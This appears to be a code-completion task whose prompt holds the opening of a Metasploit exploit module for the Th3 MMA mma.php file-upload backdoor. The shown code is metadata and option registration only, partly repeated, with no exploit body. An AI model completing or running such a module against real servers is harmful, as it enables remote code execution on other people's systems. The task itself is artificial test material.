You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: mma_backdoor_upload.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Th3 MMA mma.php Backdoor Arbitrary File Upload',
      'Description'    => %q{
        This module exploits Th3 MMA mma.php Backdoor which allows an a
    
  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Th3 MMA mma.php Backdoor Arbitrary File Upload',
      'Description'    => %q{
        This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that
        leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or
        operating system version because of the php_uname() function.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jay Turla <@shipcod3>',
        ],
      'References'     =>
        [
          ['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 10000,
          'DisableNops' => true
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['mma file uploader', {} ]
        ],
      'DisclosureDate' => '2012-04-02',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]),
      ]) # sometimes it is under host/images/mma.php so you may want to set this one
  end